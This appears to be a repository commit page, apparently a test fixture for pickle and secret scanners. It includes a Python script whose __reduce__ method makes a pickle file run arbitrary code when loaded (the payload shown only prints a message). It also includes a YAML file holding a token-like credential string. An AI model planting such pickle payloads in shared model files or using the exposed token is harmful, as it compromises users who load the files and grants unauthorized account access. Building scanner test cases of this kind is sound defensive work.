abrar0503 commited on
Commit
557f614
·
verified ·
1 Parent(s): 61f7e39

Upload 5 files

Browse files
Files changed (5) hide show
  1. build_pickles.py +14 -0
  2. danger.dat +0 -0
  3. pytorch_model.bin +3 -0
  4. supposedly_safe.pkl +3 -0
  5. token_leak.yml +3 -0
build_pickles.py ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import pickle
2
+
3
+
4
+ class MaliciousInject:
5
+ def __init__(self, src: str):
6
+ self._src = src
7
+ def __reduce__(self):
8
+ return eval, (f"exec('''{self._src}''')",), None, None, None
9
+
10
+
11
+ content = MaliciousInject("print('hack3d')")
12
+ with open('danger.dat', 'wb') as f:
13
+ pickle.dump(content, f)
14
+
danger.dat ADDED
Binary file (66 Bytes). View file
 
pytorch_model.bin ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:f9343d7d7ec5c3d8bcced056c438fc9f1d3819e9ca3d42418a40857050e10e20
3
+ size 22
supposedly_safe.pkl ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:1255ebddd575b0c1446f9e6f738ee8b9e9caa40e3e6da0ba7ea1c0651f275d4a
3
+ size 31
token_leak.yml ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ oh:
2
+ no:
3
+ leak: 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